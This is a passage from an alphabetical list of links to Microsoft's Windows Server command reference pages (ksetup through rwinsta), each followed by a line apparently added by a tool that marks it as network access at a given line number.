    - [ksetup addkdc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-addkdc)
  • Network accessline 391
    - [ksetup addkpasswd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-addkpasswd)
  • Network accessline 392
    - [ksetup addrealmflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-addrealmflags)
  • Network accessline 393
    - [ksetup changepassword](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-changepassword)
  • Network accessline 394
    - [ksetup delenctypeattr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delenctypeattr)
  • Network accessline 395
    - [ksetup delhosttorealmmap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delhosttorealmmap)
  • Network accessline 396
    - [ksetup delkdc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delkdc)
  • Network accessline 397
    - [ksetup delkpasswd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delkpasswd)
  • Network accessline 398
    - [ksetup delrealmflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delrealmflags)
  • Network accessline 399
    - [ksetup domain](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-domain)
  • Network accessline 400
    - [ksetup dumpstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-dumpstate)
  • Network accessline 401
    - [ksetup getenctypeattr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-getenctypeattr)
  • Network accessline 402
    - [ksetup listrealmflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-listrealmflags)
  • Network accessline 403
    - [ksetup mapuser](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-mapuser)
  • Network accessline 404
    - [ksetup removerealm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-removerealm)
  • Network accessline 405
    - [ksetup server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-server)
  • Network accessline 406
    - [ksetup setcomputerpassword](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-setcomputerpassword)
  • Network accessline 407
    - [ksetup setenctypeattr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-setenctypeattr)
  • Network accessline 408
    - [ksetup setrealm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-setrealm)
  • Network accessline 409
    - [ksetup setrealmflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-setrealmflags)
  • Network accessline 410
    - [ktmutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ktmutil)
  • Network accessline 411
    - [ktpass](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ktpass)
  • Network accessline 415
    - [label](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/label)
  • Network accessline 416
    - [list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/list)
  • Network accessline 417
    - [list providers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/list-providers)
  • Network accessline 418
    - [list shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/list-shadows)
  • Network accessline 419
    - [list writers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/list-writers)
  • Network accessline 420
    - [load metadata](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/load-metadata)
  • Network accessline 421
    - [lodctr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lodctr)
  • Network accessline 422
    - [logman](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman)
  • Network accessline 423
    - [logman create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create)
  • Network accessline 424
    - [logman create alert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-alert)
  • Network accessline 425
    - [logman create api](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-api)
  • Network accessline 426
    - [logman create cfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-cfg)
  • Network accessline 427
    - [logman create counter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-counter)
  • Network accessline 428
    - [logman create trace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-trace)
  • Network accessline 429
    - [logman delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-delete)
  • Network accessline 430
    - [logman import and logman export](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-import-export)
  • Network accessline 431
    - [logman query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-query)
  • Network accessline 432
    - [logman start and logman stop](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-start-stop)
  • Network accessline 433
    - [logman update](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update)
  • Network accessline 434
    - [logman update alert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-alert)
  • Network accessline 435
    - [logman update api](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-api)
  • Network accessline 436
    - [logman update cfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-cfg)
  • Network accessline 437
    - [logman update counter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-counter)
  • Network accessline 438
    - [logman update trace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-trace)
  • Network accessline 439
    - [logoff](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logoff)
  • Network accessline 440
    - [lpq](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lpq)
  • Network accessline 441
    - [lpr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lpr)
  • Network accessline 445
    - [macfile](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/macfile)
  • Network accessline 446
    - [makecab](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/makecab)
  • Network accessline 447
    - [manage bde](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde)
  • Network accessline 448
    - [manage bde status](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-status)
  • Network accessline 449
    - [manage bde on](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-on)
  • Network accessline 450
    - [manage bde off](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-off)
  • Network accessline 451
    - [manage bde pause](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-pause)
  • Network accessline 452
    - [manage bde resume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-resume)
  • Network accessline 453
    - [manage bde lock](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-lock)
  • Network accessline 454
    - [manage bde unlock](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-unlock)
  • Network accessline 455
    - [manage bde autounlock](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-autounlock)
  • Network accessline 456
    - [manage bde protectors](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-protectors)
  • Network accessline 457
    - [manage bde tpm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-tpm)
  • Network accessline 458
    - [manage bde setidentifier](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-setidentifier)
  • Network accessline 459
    - [manage bde forcerecovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-forcerecovery)
  • Network accessline 460
    - [manage bde changepassword](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-changepassword)
  • Network accessline 461
    - [manage bde changepin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-changepin)
  • Network accessline 462
    - [manage bde changekey](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-changekey)
  • Network accessline 463
    - [manage bde keypackage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-keypackage)
  • Network accessline 464
    - [manage bde upgrade](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-upgrade)
  • Network accessline 465
    - [manage bde wipefreespace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-wipefreespace)
  • Network accessline 466
    - [mapadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mapadmin)
  • Network accessline 467
    - [md](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/md)
  • Network accessline 468
    - [merge vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/merge-vdisk)
  • Network accessline 469
    - [mkdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mkdir)
  • Network accessline 470
    - [mklink](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mklink)
  • Network accessline 471
    - [mmc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mmc)
  • Network accessline 472
    - [mode](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mode)
  • Network accessline 473
    - [more](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/more)
  • Network accessline 474
    - [mount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mount)
  • Network accessline 475
    - [mountvol](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mountvol)
  • Network accessline 476
    - [move](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/move)
  • Network accessline 477
    - [mqbkup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mqbkup)
  • Network accessline 478
    - [mqsvc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mqsvc)
  • Network accessline 479
    - [mqtgsvc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mqtgsvc)
  • Network accessline 480
    - [msdt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msdt)
  • Network accessline 481
    - [msg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msg)
  • Network accessline 482
    - [msiexec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec)
  • Network accessline 483
    - [msinfo32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msinfo32)
  • Network accessline 484
    - [mstsc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc)
  • Network accessline 488
    - [nbtstat](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nbtstat)
  • Network accessline 489
    - [netcfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netcfg)
  • Network accessline 490
    - [netdom](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom)
  • Network accessline 491
    - [netdom add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-add)
  • Network accessline 492
    - [netdom computername](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-computername)
  • Network accessline 493
    - [netdom join](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-join)
  • Network accessline 494
    - [netdom move](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-move)
  • Network accessline 495
    - [netdom movent4bdc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-movent4bdc)
  • Network accessline 496
    - [netdom query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-query)
  • Network accessline 497
    - [netdom remove](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-remove)
  • Network accessline 498
    - [netdom renamecomputer](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-renamecomputer)
  • Network accessline 499
    - [netdom reset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-reset)
  • Network accessline 500
    - [netdom resetpwd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-resetpwd)
  • Network accessline 501
    - [netdom trust](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-trust)
  • Network accessline 502
    - [netdom verify](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-verify)
  • Network accessline 503
    - [net print](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-print)
  • Network accessline 504
    - [net user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user)
  • Network accessline 505
    - [netsh](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh)
  • Network accessline 506
    - [netsh add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-add)
  • Network accessline 507
    - [netsh advfirewall](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall)
  • Network accessline 508
    - [netsh branchcache](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-branchcache)
  • Network accessline 509
    - [netsh bridge](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-bridge)
  • Network accessline 510
    - [netsh delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-delete)
  • Network accessline 511
    - [netsh dhcpclient](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-dhcpclient)
  • Network accessline 512
    - [netsh dnsclient](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-dnsclient)
  • Network accessline 513
    - [netsh dump](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-dump)
  • Network accessline 514
    - [netsh exec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-exec)
  • Network accessline 515
    - [netsh http](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-http)
  • Network accessline 516
    - [netsh interface](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-interface)
  • Network accessline 517
    - [netsh ipsec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-ipsec)
  • Network accessline 518
    - [netsh lan](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-lan)
  • Network accessline 519
    - [netsh mbn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-mbn)
  • Network accessline 520
    - [netsh namespace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-namespace)
  • Network accessline 521
    - [netsh netio](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-netio)
  • Network accessline 522
    - [netsh nlm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-nlm)
  • Network accessline 523
    - [netsh ras](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-ras)
  • Network accessline 524
    - [netsh rpc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-rpc)
  • Network accessline 525
    - [netsh set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-set)
  • Network accessline 526
    - [netsh show](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-show)
  • Network accessline 527
    - [netsh trace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-trace)
  • Network accessline 528
    - [netsh wcn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-wcn)
  • Network accessline 529
    - [netsh wfp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-wfp)
  • Network accessline 530
    - [netsh winhttp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-winhttp)
  • Network accessline 531
    - [netsh winsock](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-winsock)
  • Network accessline 532
    - [netsh wlan](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-wlan)
  • Network accessline 533
    - [netstat](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netstat)
  • Network accessline 534
    - [nfsadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsadmin)
  • Network accessline 535
    - [nfsshare](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsshare)
  • Network accessline 536
    - [nfsstat](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsstat)
  • Network accessline 537
    - [nlbmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nlbmgr)
  • Network accessline 538
    - [nltest](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935%28v=ws.11%29)
  • Network accessline 539
    - [nslookup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup)
  • Network accessline 540
    - [nslookup exit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-exit-command)
  • Network accessline 541
    - [nslookup finger](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-finger-command)
  • Network accessline 542
    - [nslookup help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-help)
  • Network accessline 543
    - [nslookup ls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-ls)
  • Network accessline 544
    - [nslookup lserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-lserver)
  • Network accessline 545
    - [nslookup root](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-root)
  • Network accessline 546
    - [nslookup server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-server)
  • Network accessline 547
    - [nslookup set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set)
  • Network accessline 548
    - [nslookup set all](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-all)
  • Network accessline 549
    - [nslookup set class](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-class)
  • Network accessline 550
    - [nslookup set d2](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-d2)
  • Network accessline 551
    - [nslookup set debug](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-debug)
  • Network accessline 552
    - [nslookup set domain](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-domain)
  • Network accessline 553
    - [nslookup set port](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-port)
  • Network accessline 554
    - [nslookup set querytype](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-querytype)
  • Network accessline 555
    - [nslookup set recurse](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-recurse)
  • Network accessline 556
    - [nslookup set retry](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-retry)
  • Network accessline 557
    - [nslookup set root](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-root)
  • Network accessline 558
    - [nslookup set search](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-search)
  • Network accessline 559
    - [nslookup set srchlist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-srchlist)
  • Network accessline 560
    - [nslookup set timeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-timeout)
  • Network accessline 561
    - [nslookup set type](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-type)
  • Network accessline 562
    - [nslookup set vc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-vc)
  • Network accessline 563
    - [nslookup view](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-view)
  • Network accessline 564
    - [ntbackup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ntbackup)
  • Network accessline 565
    - [ntcmdprompt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ntcmdprompt)
  • Network accessline 566
    - [ntfrsutl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ntfrsutl)
  • Network accessline 570
    - [offline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/offline)
  • Network accessline 571
    - [offline disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/offline-disk)
  • Network accessline 572
    - [offline volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/offline-volume)
  • Network accessline 573
    - [online](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/online)
  • Network accessline 574
    - [online disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/online-disk)
  • Network accessline 575
    - [online volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/online-volume)
  • Network accessline 576
    - [openfiles](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/openfiles)
  • Network accessline 580
    - [pagefileconfig](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pagefileconfig)
  • Network accessline 581
    - [path](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/path)
  • Network accessline 582
    - [pathping](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pathping)
  • Network accessline 583
    - [pause](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pause)
  • Network accessline 584
    - [pbadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pbadmin)
  • Network accessline 585
    - [pentnt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pentnt)
  • Network accessline 586
    - [perfmon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/perfmon)
  • Network accessline 587
    - [ping](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ping)
  • Network accessline 588
    - [pktmon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pktmon)
  • Network accessline 589
    - [pnpunattend](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pnpunattend)
  • Network accessline 590
    - [pnputil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pnputil)
  • Network accessline 591
    - [popd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/popd)
  • Network accessline 592
    - [powershell](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/powershell)
  • Network accessline 593
    - [powershell ise](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/powershell_ise)
  • Network accessline 594
    - [print](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/print)
  • Network accessline 595
    - [prncnfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prncnfg)
  • Network accessline 596
    - [prndrvr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prndrvr)
  • Network accessline 597
    - [prnjobs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnjobs)
  • Network accessline 598
    - [prnmngr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnmngr)
  • Network accessline 599
    - [prnport](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnport)
  • Network accessline 600
    - [prnqctl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnqctl)
  • Network accessline 601
    - [prompt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prompt)
  • Network accessline 602
    - [pubprn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn)
  • Network accessline 603
    - [pushd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pushd)
  • Network accessline 604
    - [pushprinterconnections](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pushprinterconnections)
  • Network accessline 605
    - [pwlauncher](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pwlauncher)
  • Network accessline 606
    - [pwsh](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_pwsh)
  • Network accessline 610
    - [qappsrv](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qappsrv)
  • Network accessline 611
    - [qprocess](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qprocess)
  • Network accessline 612
    - [query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query)
  • Network accessline 613
    - [query process](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-process)
  • Network accessline 614
    - [query session](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-session)
  • Network accessline 615
    - [query termserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-termserver)
  • Network accessline 616
    - [query user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-user)
  • Network accessline 617
    - [quser](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/quser)
  • Network accessline 618
    - [qwinsta](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qwinsta)
  • Network accessline 622
    - [rd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rd)
  • Network accessline 623
    - [rdpsign](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rdpsign)
  • Network accessline 624
    - [recover](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/recover)
  • Network accessline 625
    - [recover disk group](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/recover_1)
  • Network accessline 626
    - [refsutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil)
  • Network accessline 627
    - [refsutil compression](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-compression)
  • Network accessline 628
    - [refsutil dedup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-dedup)
  • Network accessline 629
    - [refsutil fixboot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-fixboot)
  • Network accessline 630
    - [refsutil iometrics](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-iometrics)
  • Network accessline 631
    - [refsutil leak](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-leak)
  • Network accessline 632
    - [refsutil salvage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-salvage)
  • Network accessline 633
    - [refsutil streamsnapshot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-streamsnapshot)
  • Network accessline 634
    - [refsutil triage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-triage)
  • Network accessline 635
    - [reg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg)
  • Network accessline 636
    - [reg add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-add)
  • Network accessline 637
    - [reg compare](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-compare)
  • Network accessline 638
    - [reg copy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-copy)
  • Network accessline 639
    - [reg delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-delete)
  • Network accessline 640
    - [reg export](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-export)
  • Network accessline 641
    - [reg import](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import)
  • Network accessline 642
    - [reg load](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-load)
  • Network accessline 643
    - [reg query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-query)
  • Network accessline 644
    - [reg restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-restore)
  • Network accessline 645
    - [reg save](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-save)
  • Network accessline 646
    - [reg unload](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-unload)
  • Network accessline 647
    - [regini](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini)
  • Network accessline 648
    - [regsvr32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32)
  • Network accessline 649
    - [relog](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/relog)
  • Network accessline 650
    - [rem](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rem)
  • Network accessline 651
    - [remove](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/remove)
  • Network accessline 652
    - [ren](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ren)
  • Network accessline 653
    - [rename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rename)
  • Network accessline 654
    - [repair](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repair)
  • Network accessline 655
    - [repair bde](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repair-bde)
  • Network accessline 656
    - [repadmin](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc770963%28v=ws.11%29)
  • Network accessline 657
    - [replace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/replace)
  • Network accessline 658
    - [rescan](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rescan)
  • Network accessline 659
    - [reset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reset)
  • Network accessline 660
    - [reset session](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reset-session)
  • Network accessline 661
    - [retain](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/retain)
  • Network accessline 662
    - [revert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/revert)
  • Network accessline 663
    - [rexec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rexec)
  • Network accessline 664
    - [risetup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/risetup)
  • Network accessline 665
    - [rmdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rmdir)
  • Network accessline 666
    - [robocopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy)
  • Network accessline 667
    - [route](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/route_ws2008)
  • Network accessline 668
    - [rpcinfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rpcinfo)
  • Network accessline 669
    - [rpcping](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rpcping)
  • Network accessline 670
    - [rsh](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rsh)
  • Network accessline 671
    - [rundll32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32)
  • Network accessline 672
    - [rundll32 printui](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32-printui)
  • Network accessline 673
    - [rwinsta](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rwinsta)
  • Network accessline 677
